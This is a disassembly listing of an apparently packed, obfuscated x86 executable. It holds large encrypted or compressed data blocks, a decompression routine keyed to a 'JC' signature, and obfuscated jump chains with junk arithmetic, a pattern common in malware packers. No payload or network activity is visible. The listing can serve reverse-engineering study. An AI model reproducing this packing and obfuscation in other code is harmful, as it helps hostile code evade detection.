dd 253D2968h, 899F4A72h, 8C151330h, 252C016Ch, 2CAD2C94h
dd 0B4459C0Dh, 852C052Ch, 679F2CBCh, 3079CAA8h, 0A8974E20h
dd 25B0047h, 896A212Eh, 259884B6h, 8A4312D0h, 38804BF9h
dd 25802004h, 95B111C2h, 55844AE8h, 51122B02h, 3C4AAA09h
dd 0C129A025h, 4A37094h, 12844252h, 488A0944h, 1B0A2504h
dd 21F65F8Eh, 912F1F00h, 84BA008Fh, 12E0025Dh, 4B600972h
dd 0D4025B8h, 475597h, 312C10E8h, 4AE2896h, 12B24258h
dd 4AB8895Bh, 2A822560h, 0A8099551h, 98255484h, 40944E12h
dd 0A156284Ah, 40106128h, 1FC7CCC8h, 825E9101h, 1BC8090Fh
dd 118480h, 0D04B043Eh, 0E12DEE25h, 4B18896h, 12B4625Ah
dd 4A60895Eh, 29032560h, 0EF194A1h, 3DA32053h, 1801951Ah
dd 50848143h, 143E18A2h, 12F2BF9Ch, 4BB0897Ch, 2E8225DCh
dd 0B9099751h, 0DC255CC4h, 50967012h, 8258B04Bh, 895C712Ch
dd 256044AFh, 924212B4h, 59844AA1h, 6350B010h, 2342880h
dd 34394A90h, 0A7A702AAh, 4192383Ah, 0F3C892C0h, 0C5001553h
dd 9411E020h, 10F4618h, 853C2FE7h, 0FA0A155h, 8974F802h
dd 49E7047Bh, 0B1460AACh, 0B1663380h, 87601824h, 84B46E00h
dd 12C8023Ah, 4B100966h, 2C01258Ch, 17719611h, 4BC35595h
dd 559564CDh, 18D5421h, 10041CB0h, 5B5361ABh, 0A4046905h
dd 11983101h, 2AB33380h, 862528h, 6805C647h, 63F81855h
dd 0E82AA080h, 7500DFA1h, 23CB463h, 855687A0h, 6006C4B8h
dd 0AB529C5Bh, 1C73A42h, 39426B68h, 2D8C3002h, 2155AB58h
dd 655E031Ch, 161BAE17h, 362BA02Eh, 56079922h, 3EEA6175h
dd 0BB499B90h, 0B4248611h, 6DD7F031h, 0C0C72E4h, 595BF30h
dd 0B0015C4Bh, 2556BD84h, 88C02C96h, 85840580h, 0F8521900h
dd 0B87A1A15h, 4D850A6Bh, 61E5902h, 84398Dh, 0CB45C60Ch
dd 4C20FDB4h, 5946E30Ch, 4582CD11h, 34BC2DEh, 22B60102h
dd 19BCB1B0h, 0B65D99B7h, 8562A573h, 0B1DA6E80h, 5D4CB498h
dd 2CB712B3h, 0E8405AD1h, 32C85D6h, 1801B30Dh, 0EE0D9E8Ch
dd 90220DC6h, 887497A0h, 3110B03h, 0D008B1B5h, 141CD590h
dd 0D018495Dh, 103AC503h, 44FED6Ch, 8385B2BCh, 8B01CAB2h
dd 58D796DAh, 1FD38890h, 0CAE6D9FDh, 532F2260h, 35403E76h
dd 5035BD34h, 8484D220h, 0A6CC583Fh, 0AE57E1B7h, 8A886684h
dd 44A846C5h, 8ADD05C1h, 83AC08C1h, 8167551h, 0D958B66Bh
dd 8C0A3470h, 0E044BEC7h, 3288066Dh, 4D581617h, 274C8D6Bh
dd 2C7229Ah, 112D5107h, 6C857228h, 1172EE5Eh, 0DC080A07h
dd 7ACF8AB9h, 0CAB99BABh, 60CB878h, 0E6248793h, 9842E618h
dd 8820E608h, 17B26189h, 41701102h, 8A92241h, 1131BBD9h
dd 0D81ED8A0h, 7D224229h, 8C180430h, 0ABCDB106h, 810A8204h
dd 250EC008h, 6EBCEA6Ah, 0A44810h, 944B445Dh, 0EAA00E2Bh
dd 0C4BA7D8Eh, 533628A2h, 0D1EA8309h, 7508FF9Fh, 6C8AE505h
dd 1B0C075Eh, 0DA0310Eh, 102346EEh, 0E39B1C34h, 0A163AE3Eh
dd 30F92BA7h, 0E060305h, 2C518534h, 819612C2h, 317FC458h
dd 0AF505861h, 758D4941h, 741CAB06h, 48891E2Ch, 779D8149h
dd 11616231h, 55F8852Ch, 0DB9762D0h, 182A8BBh, 8141D1D1h
dd 95D0EAFEh, 2E6E16DEh, 0E217836h, 786C438Bh, 6FA1644Bh
dd 214A1A7Fh, 81F564A0h, 9C40BB8Ch, 90B08065h, 5C14158h
dd 0DA6EDC46h, 0E9180CB1h, 5CB0652Dh, 2CAEB15Bh, 81C8EDBh
dd 82485620h, 0DE9371F1h, 293B2AAh, 416918Bh, 27018C8Ch
dd 6BBA775Eh, 911A42C7h, 3FB0DC1Ah, 4D98CB7h, 28AD98E3h
dd 69B285E4h, 1C7661A1h, 30E2B040h, 0A5A672E3h, 56EBB4D8h
dd 182EC608h, 0B0847936h, 0A48BAB48h, 0D0B0321h, 4A013664h
dd 0B9027433h, 57521962h, 280534Eh, 41C06C11h, 40EE145Bh
dd 8A0CCDACh, 0DF6805EEh, 802D35AAh, 588C07E6h, 59942C30h
dd 8105B746h, 2325BC0h, 9ABAC2A5h, 73B0C464h, 83A344Ah
dd 44053139h, 9B80A31Ch, 8A01DE30h, 0FFA234C1h, 293015A5h
dd 882195Dh, 2043040Eh, 0DE708B81h, 0DE125FC0h, 700790BAh
dd 63AD7D4Fh, 2A219470h, 4023378Bh, 37901671h, 5183B9A7h
dd 2CCA62Ch, 8DC1141Fh, 58B038A2h, 0A673522Ch, 0B5D521CCh
dd 24981904h, 6E47A9C3h, 0F88F205Fh, 5F10A5AAh, 0C594B551h
dd 1775DFACh, 584CB925h, 0C56FFC28h, 64DE26C8h, 59AD0626h
dd 25CDD28Bh, 52840526h, 99BCD0Bh, 6CB82009h, 972B9D02h
dd 0A4B4212Ch, 0A350BDE0h, 0A8E80398h, 13A82965h, 9D31D263h
dd 1F3FEB8Dh, 28D29A9Dh, 666AC5AAh, 76C20E4Ch, 808BBB0Eh
dd 0B1804EBEh, 1BC50284h, 1416DC05h, 0A6A2957Fh, 0F6C39A4Ch
dd 83306708h, 5124D1C9h, 379005F0h, 0E4C1726Bh, 0F78048A5h
dd 0A2868E71h, 3147B3A4h, 40FC6E0Dh, 53A64C59h, 763D5298h
dd 93356CA0h, 0D13A8CC9h, 45A4253Bh, 33165DC9h, 0BAD50A52h
dd 6D4C01A2h, 0D6CC0D31h, 82850C15h, 17A86610h, 8157F739h
dd 6933D54Ah, 223BB9CBh, 3FF5CBFDh, 97B4A7h, 2156E130h
dd 825ABF26h, 0F0B08291h, 0AEC1C0C2h, 2C7A82F2h, 2AE2E2EAh
dd 0A3543262h, 0E5D1AF3Bh, 7597EED3h, 0B19A285h, 51AB470Ch
dd 8D18C702h, 0AAC017AAh, 8AEEE8C2h, 3F10BEBh, 0F602407Bh
dd 0FF9101AAh, 7D70E931h, 995DF17Eh, 67DB5F47h, 0E873A432h
dd 861B262h, 735A0294h, 8F44B84h, 0A9D556F1h, 0E7855152h
dd 0BBC48DD7h, 70C52B93h, 3380FBEh, 10D46E40h, 0DCA73E1Ch
dd 32E4CCCFh, 41702759h, 0AFDA7049h, 2BE99C0Bh, 0EC7457CAh
dd 0E819AC16h, 46597D75h, 0B2663920h, 4058B170h, 71CD6380h
dd 0FE02290Bh, 4A9856FFh, 9CA5B685h, 92B7B2ABh, 9FFE5375h
dd 0F1814130h, 9351B62Fh, 3B54F62Eh, 0ADD692F5h, 8820499h
dd 0A5A10C58h, 650C295h, 13ECE064h, 152A68EAh, 0C7305AA2h
dd 81B29EEAh, 8114B056h, 0A11AA1B4h, 121BAA81h, 31E5C1EFh
dd 5F89F09Ah, 84726B45h, 12143587h, 145E1A6Eh, 3D0A0A80h
dd 8874A777h, 5A100692h, 364ED21h, 0D605933Eh, 0D1B42BECh
dd 798C0EA8h, 0C0DFCAE5h, 1257A166h, 0E416051h, 0A6B5F68h
dd 7B022440h, 1FB2C8D5h, 0BAFAC11Ch, 603E418Bh, 0AEC19AD1h
dd 43282989h, 0B1460A03h, 70606ACh, 0CC4DC854h, 3F0ACB7Fh
dd 2AA7146Ah, 54794707h, 4302EA5h, 70FCACDEh, 74717F83h
dd 0D5F2F14h, 0C7D163E3h, 7902857Eh, 59AB6301h, 0B91852FCh
dd 7A763801h, 9547DD4Fh, 0FC26BAE0h, 0E18A2810h, 3A453438h
dd 400653E0h, 2F02057Dh
dd 31C8139Ch, 0ABD4E91Eh, 0D885A096h, 0C8E6F1B4h, 0BEFA4587h
dd 71AEB73h, 8A08F2D0h, 998C07AFh, 0AA2355CCh, 0C5FEA16h
dd 5F56651Eh, 3315F09Fh, 2FE8260Ah, 895492FEh, 1DE982D4h
dd 29261804h, 0FEE367C7h, 76042B1h, 9DE0D4EAh, 0EC692666h
dd 0F3E43063h, 0C6876A9h, 0D5A6E3BDh, 636444C2h, 0CE083074h
dd 0F1B5A8D0h, 89BF1411h, 339845E6h, 2A00EA5h, 58040394h
dd 0CA15E46h, 39693206h, 21EE097Fh, 0EA129E80h, 0BAD8152Ah
dd 6262A76h, 99EDFC03h, 3ABE6B3Dh, 0E7B1FF39h, 0A274AF9Bh
dd 4C16DF30h, 33BDFAD8h, 0A0EFA588h, 5A4FFC2Bh, 7791EB3Dh
dd 89D7EE4Bh, 64453AC4h, 0CCB6258Eh, 0A9FE387Eh, 6576EBB7h
dd 0CEF6FC0Bh, 0C41D7984h, 0E3B50706h, 7D7D5F9h, 35B77CCDh
dd 5A959B6h, 8AD03CFAh, 4C237277h, 97378AAFh, 0D7AEDD0Bh
dd 1F37E549h, 5AEAE555h, 0B86C9897h, 0BBAF9800h, 74FA2F63h
dd 28FD229Bh, 5055B822h, 4C664983h, 0C0FEFAD5h, 0CC3E0F87h
dd 0A4C763B4h, 285AA75Bh, 3EA24ED5h, 0E01038C0h, 0BA43FF2Fh
dd 6E0E5557h, 0BD720850h, 3002D414h, 28FA2118h, 25530557h
dd 0F8B85B49h, 0B39097AAh, 0CD3A8C28h, 7FCB9282h, 825E234Fh
dd 0F2CB68FCh, 4C80AFA6h, 0C2A38255h, 0A30A01C7h, 172B70AFh
dd 0F195CEF8h, 34AFF865h, 0EFD91396h, 88FCE760h, 8F07C2EAh
dd 8F53FA90h, 8F579940h, 0E2C54341h, 6961FBB1h, 0DEF79F72h
dd 46905618h, 579856AEh, 0AC39E62Dh, 9EA0B17Eh, 0F344E80Eh
dd 60FA80ABh, 0B155D38Fh, 0D252A9Ah, 6E9F0054h, 0B99B5D04h
dd 976147F6h, 965C9D0Bh, 3987CC6Fh, 7863C046h, 6A75E973h
dd 5779495Fh, 4F18C039h, 6CA75867h, 8F3BEDE1h, 0CCC051E9h
dd 0AE3E4095h, 8FB6E8C4h, 0B135A563h, 0A802C262h, 55FE6D7h
dd 1FDB8B05h, 5883F1E5h, 68155B39h, 0C3EA67FEh, 22BFFC99h
dd 38DFBA1Dh, 36A3DE2Fh, 0A282A37Ch, 22EFFA69h, 0BFC0C719h
dd 93579E62h, 0EB316CC7h, 11577291h, 9885D350h, 359D7967h
dd 66935967h, 9653FAECh, 0EBC50D94h, 6AF56273h, 96B1AE39h
dd 19E7783Bh, 0DC677834h, 0B99596B0h, 0F7006581h, 6213D94Dh
dd 88ADE957h, 1EBF9462h, 367680E3h, 6D2EDF38h, 7A39DF45h
dd 0B9CB3931h, 15B5BCBDh, 535763E9h, 0F59AB72Eh, 98CB310h
dd 0AF41AA96h, 0DC27384h, 0CA566D8Dh, 57C2E221h, 0C2FFBB91h
dd 0EFE7043Eh, 0B5D91DF2h, 9262867h, 8BD15EF3h, 98833151h
dd 0B5A175E3h, 54552598h, 0A1834F3Dh, 9C327382h, 0B1482920h
dd 0E0176E0h, 3172AB34h, 2510478Fh, 51678795h, 0C22BBB9Ch
dd 7CE27664h, 0F6E7AF74h, 90D26B92h, 0CE245991h, 4B31BCA3h
dd 0C2EAE2D8h, 0A53C1308h, 1B86A8h, 14230194h, 54030510h
dd 6DF20D85h, 0D240D67Ah, 9626607Eh, 0A0A31057h, 0A2B1052h
dd 307294C2h, 6CE9F9F0h, 75000025h, 0C9913AF5h, 118D3764h
dd 8A118Fh, 0DD310083h, 2D58D915h, 8F30179Bh, 0CC59B28Ah
dd 1569AB38h, 83704E5Bh, 0E7C69450h, 87C5D2ADh, 293495D4h
dd 4D50837h, 437E59D5h, 541D2DFh, 0FFA746C9h, 0A55D9F91h
dd 18B14537h, 0EDF00537h, 8A19274Fh, 0B35AA8CBh, 5AE65D6h
dd 0CC9654E8h, 5EA58C04h, 0C5D5A511h, 2989191Dh, 80E9B625h
dd 0BB1C7811h, 949512AAh, 0F1703303h, 9B298905h, 49582931h
dd 0C2D4124Dh, 38AD48B3h, 9496DA9Dh, 268815BEh, 0B4B081FDh
dd 5399D72Ah, 0A58D446Ch, 846CC4C4h, 0C9255540h, 17478D98h
dd 420FAE01h, 659B9C99h, 855D526Bh, 99329319h, 1333AE11h
dd 0F99A9EBFh, 26AA5BCFh, 0C1640BABh, 0C94CCAB3h, 4ABB9AD8h
dd 6F0B44CAh, 2C215A85h, 0FE342E3Bh, 0DAD6B859h, 0D088C8F1h
dd 2BE8C65Bh, 0AD74E327h, 765A8944h, 93269631h, 0BED10560h
dd 3558CC22h, 0A110FCD7h, 2B24752Eh, 0E69DA7A9h, 632D5557h
dd 32291574h, 4C4F8FA9h, 22A517B5h, 2D836DACh, 0B3015C65h
dd 0D58C314Fh, 2ABE2584h, 0A9809953h, 4A034B3Ch, 0FB5A2AB9h
dd 0C577E185h, 0AC335163h, 1816993Ah, 0C47A1760h, 0DE7C774Ch
dd 0F0222395h, 0D5B51A8h, 0A5D30B59h, 0B281CF4Dh, 887100B4h
dd 738085C1h, 0BA26B11Eh, 0ACAB675Ah, 0DB092D3Ah, 0A36EE2A4h
dd 2A053322h, 0B2EECA0Ch, 238C0E83h, 95E05A00h, 235B4B00h
dd 0B227ABE2h, 0AA091822h, 0E9E25713h, 3A60D444h, 116974D1h
dd 520665F2h, 9D04306h, 227708A3h, 99F4C4E8h, 9520F3B0h
dd 30854E7Dh, 8BA006F4h, 4EE2E060h, 0CB39DCCh, 1832276Eh
dd 45A0A66Bh, 2764D430h, 9D84ECCh, 0C32213B1h, 3AC804EBh
dd 4EAA75B1h, 13A89D5Ch, 0CAAA2753h, 0AA4E8C69h, 90982E4Ah
dd 6A0662AAh, 9F781A46h, 7853A866h, 95BE739Fh, 7875860Ch
dd 2901E6BEh, 6A56D582h, 0FDA2A4C9h, 0EAC13B62h, 0DCEF054Ah
dd 6E42B010h, 0A1B936E7h, 5668E92Dh, 9520265Ah, 5D3900C0h
dd 4C18ECC6h, 0F0972422h, 0DA564D5Ah, 3A65DC08h, 9DC70617h
dd 0A893F36Fh, 2E5688A3h, 0C4513041h, 0F5ACCD05h, 0D4E02D6Eh
dd 13A0412h, 44BA1F77h, 8D30E920h, 3F77AE5Eh, 0A6E9780h
dd 0E851AC18h, 44341779h, 64059761h, 9830C70Dh, 202C255Dh
dd 4C9CEB28h, 2B16C827h, 45192EB9h, 8A9B35Eh, 20F2A910h
dd 8C20AEF4h, 52314C75h, 50802257h, 85C2878Ch, 276F9AA6h
dd 3E45D363h, 5F6F01C7h, 4F31E4A9h, 5C497D27h, 8ABA93Eh
dd 65BB8D48h, 2B474879h, 75CE13B6h, 0B32EACC8h, 0BA84DD69h
dd 4C53D712h, 65DA8C1Ah, 89ECACB7h, 794D4325h, 0CDFF7736h
dd 16F0D73Bh, 7785D66Dh, 4275E874h, 0C7E6A1CFh, 2BCEFD6Eh
dd 414A71EDh, 5891AC57h, 23DE89DDh, 7118C55Bh, 17E3EEF6h
dd 491FD17h, 17428161h, 0EF9CAE42h, 63BF2C03h, 9FEE1C2Fh
dd 0DD62F122h, 0DB2B3FB2h, 0F4FE571Ch, 0E64383EAh, 64A03C9Fh
dd 0DC8D5853h, 97CB87FAh, 0EDEF377Ch, 4795A9A0h, 0E3361DE3h
dd 0BA83DEE0h, 0D2B69B82h, 0D97535B0h, 83AB384Ch, 0DB457502h
dd 0C743CA53h, 0C0BEC156h, 4168FA0h, 0A667F0D8h, 0D3D5E5F5h
dd 509F8987h, 904E0218h, 4E40F8C0h, 15269776h, 607019BCh
dd 31EB8D33h, 17DF045Ah, 237104F6h, 955FC7D5h, 5D180C75h
dd 0E4E20B02h, 0A7E6CEF2h, 0F7BF834Bh, 55756AD5h, 3FE82B6h
dd 1028084Ah, 695F3473h, 0E0A0AEA0h, 0C03F57D2h, 48801222h
dd 0AB84h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C902 proc near ; DATA XREF: lsqvqpii:0042EFE1o
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042CA81 SIZE 00000004 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
cld
push ebx
push edi
push esi
mov [ebp+var_4], eax
mov [ebp+var_8], edx
mov esi, eax
mov edi, edx
cmp word ptr [esi], 434Ah
jnz loc_42CA44
add esi, 0Ah
mov [ebp+var_C], 8
xor ebx, ebx
mov edx, 80000000h
inc ebx
loc_42C933: ; CODE XREF: sub_42C902+46j
; sub_42C902+8Dj ...
xor eax, eax
call sub_42CA4B
jnb short loc_42C94A
mov ecx, [ebp+var_10]
call sub_42CA63
add al, [ebp+var_11]
loc_42C947: ; CODE XREF: sub_42C902+65j
stosb
jmp short loc_42C933
; ---------------------------------------------------------------------------
loc_42C94A: ; CODE XREF: sub_42C902+38j
call sub_42CA4B
jb loc_42C9EC
call sub_42CA4B
jnb short loc_42C9B7
mov ecx, 4
call sub_42CA63
dec eax
jz short loc_42C947
jns loc_42CA36
call sub_42CA4B
jnb short loc_42C991
push ebp
loc_42C977: ; CODE XREF: sub_42C902+8Aj
mov ebp, 100h
loc_42C97C: ; CODE XREF: sub_42C902+83j
call sub_42CA58
mov [edi], al
inc edi
dec ebp
jnz short loc_42C97C
call sub_42CA4B
jb short loc_42C977
pop ebp
jmp short loc_42C933
; ---------------------------------------------------------------------------
loc_42C991: ; CODE XREF: sub_42C902+72j
mov ecx, 1
call sub_42CA63
add eax, 7
mov [ebp+var_10], eax
mov [ebp+var_11], 0
cmp eax, 8
jz short loc_42C933
call sub_42CA58
mov [ebp+var_11], al
jmp loc_42C933
; ---------------------------------------------------------------------------
loc_42C9B7: ; CODE XREF: sub_42C902+58j
mov ecx, 7
call sub_42CA63
push eax
mov ecx, 2
call sub_42CA63
mov ecx, eax
inc ecx
inc ecx
pop eax
or eax, eax
jz short loc_42C9D9
mov ebx, eax
jmp short loc_42CA37
; ---------------------------------------------------------------------------
loc_42C9D9: ; CODE XREF: sub_42C902+D1j
cmp ecx, 2
jz short loc_42CA44
inc ecx
call sub_42CA63
mov [ebp+var_C], eax
jmp loc_42C933
; ---------------------------------------------------------------------------
loc_42C9EC: ; CODE XREF: sub_42C902+4Dj
call sub_42CA6F
dec ecx
loop loc_42C9FD
mov eax, ebx
call sub_42CA6F
jmp short loc_42CA37
; ---------------------------------------------------------------------------
loc_42C9FD: ; CODE XREF: sub_42C902+F0j
dec ecx
mov eax, ecx
push ebp
mov ecx, [ebp+var_C]
mov ebp, eax
xor eax, eax
shl ebp, cl
call sub_42CA63
or eax, ebp
pop ebp
mov ebx, eax
call sub_42CA6F
cmp eax, 10000h
jnb short loc_42CA34
cmp eax, 37FFh
jnb short loc_42CA35
cmp eax, 27Fh
jnb short loc_42CA36
cmp eax, 7Fh
ja short loc_42CA37
inc ecx
loc_42CA34: ; CODE XREF: sub_42C902+11Cj
inc ecx
loc_42CA35: ; CODE XREF: sub_42C902+123j
inc ecx
loc_42CA36: ; CODE XREF: sub_42C902+67j
; sub_42C902+12Aj
inc ecx
loc_42CA37: ; CODE XREF: sub_42C902+D5j
; sub_42C902+F9j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_42C933
; ---------------------------------------------------------------------------
loc_42CA44: ; CODE XREF: sub_42C902+19j
; sub_42C902+DAj
mov eax, esi
pop esi
pop edi
pop ebx
jmp short loc_42CA81
sub_42C902 endp
; =============== S U B R O U T I N E =======================================
sub_42CA4B proc near ; CODE XREF: sub_42C902+33p
; sub_42C902:loc_42C94Ap ...
add edx, edx
jnz short locret_42CA57
mov edx, [esi]
add esi, 4
stc
adc edx, edx
locret_42CA57: ; CODE XREF: sub_42CA4B+2j
retn
sub_42CA4B endp
; =============== S U B R O U T I N E =======================================
sub_42CA58 proc near ; CODE XREF: sub_42C902:loc_42C97Cp
; sub_42C902+A8p
mov ecx, 8
call sub_42CA63
retn
sub_42CA58 endp
; =============== S U B R O U T I N E =======================================
sub_42CA63 proc near ; CODE XREF: sub_42C902+3Dp
; sub_42C902+5Fp ...
xor eax, eax
loc_42CA65: ; CODE XREF: sub_42CA63+9j
call sub_42CA4B
adc eax, eax
loop loc_42CA65
retn
sub_42CA63 endp
; =============== S U B R O U T I N E =======================================
sub_42CA6F proc near ; CODE XREF: sub_42C902:loc_42C9ECp
; sub_42C902+F4p ...
xor ecx, ecx
inc ecx
loc_42CA72: ; CODE XREF: sub_42CA6F+Fj
call sub_42CA4B
adc ecx, ecx
call sub_42CA4B
jb short loc_42CA72
retn
sub_42CA6F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C902
loc_42CA81: ; CODE XREF: sub_42C902+147j
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42C902
; ---------------------------------------------------------------------------
align 2
loc_42CA86: ; CODE XREF: lsqvqpii:loc_42EDE1j
; DATA XREF: sub_42EFA1o ...
and edx, 0F8DDCEB0h
sub edx, 6A72EAEh
add edx, 0DE69438Eh
xchg edx, [esp]
jmp loc_42E30A
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CAA2: ; CODE XREF: sub_42E407-13Aj
jmp loc_42EC99
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
loc_42CAA8: ; CODE XREF: lsqvqpii:0042E2ABj
jmp loc_42DFB1
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CAAE: ; CODE XREF: sub_42E407-1782j
jmp loc_42EAEF
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42D010
loc_42CAB4: ; CODE XREF: sub_42D010+Aj
mov byte ptr [eax], 87h
xchg ebp, [esp+0]
loc_42CABA: ; CODE XREF: sub_42DC4F:loc_42D75Dj
mov eax, ebp
pop ebp
xchg edx, [esp-4+arg_0]
mov ecx, edx
jmp loc_42DB56
; END OF FUNCTION CHUNK FOR sub_42D010
; ---------------------------------------------------------------------------
mov byte ptr [eax], 9Dh
pop eax
add esi, 0F6FF71FFh
mov esi, [esi]
jmp loc_42CD11
; ---------------------------------------------------------------------------
locret_42CAD8: ; CODE XREF: lsqvqpii:loc_42E327j
retn
; ---------------------------------------------------------------------------
align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42CADB proc near ; DATA XREF: sub_42E407+26Ao
xchg ecx, [esp+0]
retn
sub_42CADB endp
; ---------------------------------------------------------------------------
align 10h
dd 83108B00h, 48704C0h, 4BFE924h, 0F000000h, 1EC884h, 0EF2E900h
dd 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CBA0
loc_42CAFC: ; CODE XREF: sub_42CBA0+1Bj
rol eax, 0Bh
jnb loc_42D2C8
; END OF FUNCTION CHUNK FOR sub_42CBA0
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42CB07: ; CODE XREF: sub_42DC4F-185j
jmp nullsub_10
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
ror eax, 18h
xchg eax, [ecx]
jmp loc_42D2C8
; ---------------------------------------------------------------------------
and ecx, 0E91C3181h
jmp sub_42D1B0
; ---------------------------------------------------------------------------
align 2
cmp esi, 37D14133h
jmp loc_42E8AA
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 210187h, 243C8700h, 0E9C7035Fh, 18BBh, 0CE810000h, 0A6BDC3E4h
dd 0A0FFEE81h, 0F681FC37h, 0B8B3964h, 0E315B850h, 68E90042h
dd 0FFFFFFh, 658A0F00h, 300001Eh, 240487FAh, 0E9240C87h
dd 0E73h, 0C602C600h, 0E27B685Ah, 0E0E90042h, 18h, 42CD2968h
dd 6B4E900h, 0
; ---------------------------------------------------------------------------
add esi, 0FCF3E0FFh
push offset loc_42D8AE
jmp locret_42D6AB
; =============== S U B R O U T I N E =======================================
sub_42CBA0 proc near ; CODE XREF: sub_42CD4C+2j
; sub_42E407:loc_42E8C9j ...
; FUNCTION CHUNK AT 0042CAFC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D2C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042D51A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E7AD SIZE 00000010 BYTES
xchg ecx, [esp+0]
xchg esi, [esp+0]
mov ecx, esi
pop esi
push 0FFED3927h
pop eax
xor eax, 0FB2FEE90h
sub eax, 9DFBDB67h
jmp loc_42CAFC
sub_42CBA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42CBC2: ; CODE XREF: sub_42DD3F:loc_42E176j
jnz loc_42E30F
loc_42CBC8: ; CODE XREF: sub_42E930-C17j
jmp sub_42DB92
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
align 2
rol edi, 0Fh
sbb ebp, 955B0430h
jmp loc_42E30F
; ---------------------------------------------------------------------------
loc_42CBDC: ; CODE XREF: lsqvqpii:loc_42D781j
sub ebx, 536B5FD1h
xor ebx, 0A3436422h
add ebx, 949592FCh
or ebx, 9A249400h
add ebx, 205D254Dh
jmp loc_42D1A4
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42CC01: ; CODE XREF: sub_42D877+CEBj
add edx, ebp
loc_42CC03: ; CODE XREF: lsqvqpii:loc_42D5CFj
add edx, 0F7EAD47h
mov edx, [edx]
xchg edx, [esp+0]
call sub_42E9E0
add cl, ch
insb
add eax, [eax]
add [ecx-476ABA1Dh], al
enter 3DE8h, 1Bh
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dw 0
dd 39E90000h, 0Fh, 0D4CB6800h, 5BE90042h, 11h, 0E90FCDC1h
; CODE XREF: lsqvqpii:0042E24Dj
dd 3D0h, 37C78100h, 0E8E6CA6Dh, 0FFFFFEE9h, 0A4E90000h
dd 1Ah, 24348700h, 0D94E8h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CC5D: ; CODE XREF: sub_42E407+DDj
jmp loc_42E6E5
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
popf
jno loc_42D4B5
jmp sub_42EB44
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CC71: ; CODE XREF: sub_42E407-BFFj
xchg ebx, [esp+0]
xchg eax, [esp+0]
mov ebx, eax
pop eax
push 958C4FC4h
xchg ecx, [esp+0]
mov edx, ecx
pop ecx
jmp loc_42CAAE
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dw 8700h
; ---------------------------------------------------------------------------
or al, 24h
push ebx
push 0BBD456EBh
pop ebx
jmp loc_42D781
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
sub_42CC9B proc near ; DATA XREF: sub_42EDBB-1E6Eo
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042E8F3 SIZE 0000000E BYTES
push ebp
mov ebp, edx
xchg ebp, [esp+4+var_4]
push esi
jmp loc_42E8F3
sub_42CC9B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_42CCA7: ; CODE XREF: lsqvqpii:loc_42EAE2j
retn
; ---------------------------------------------------------------------------
dword_42CCA8 dd 4DE90000h, 0Ch, 0D545BA52h, 72E90042h, 16h, 0E9C68500h
; DATA XREF: lsqvqpii:0042EA25o
dd 0FFFFFE6Bh, 0C30000h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42CCC9: ; CODE XREF: sub_42EB44+14j
jmp loc_42DBC2
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
align 10h
loc_42CCD0: ; CODE XREF: lsqvqpii:loc_42D616j
push 3BE69D3Eh
pop ecx
push ecx
mov ecx, offset dword_42CE14
jmp loc_42E806
; ---------------------------------------------------------------------------
align 2
retn
; ---------------------------------------------------------------------------
align 4
loc_42CCE4: ; CODE XREF: lsqvqpii:0042DEAFj
jmp locret_42D314
; ---------------------------------------------------------------------------
db 2 dup(0), 81h
dd 839756C7h, 243C8734h, 1C57E9h, 0C3000000h, 4DE90000h
dd 1Dh, 1D07E900h, 51000000h, 1D91E9h
db 0
; ---------------------------------------------------------------------------
loc_42CD11: ; CODE XREF: lsqvqpii:0042CAD3j
call sub_42DD3F
add bl, al ; CODE XREF: lsqvqpii:loc_42E037j
; ---------------------------------------------------------------------------
dd 5FE90000h, 0Ah, 0BFE900C3h, 7, 8702C600h, 8B243487h
; CODE XREF: lsqvqpii:0042E6A2j
dd 0C1C15ED6h, 124CE903h, 0
; ---------------------------------------------------------------------------
xchg esi, [esp]
pop esi
push eax
mov eax, offset loc_42DBF5
jmp loc_42D324
; ---------------------------------------------------------------------------
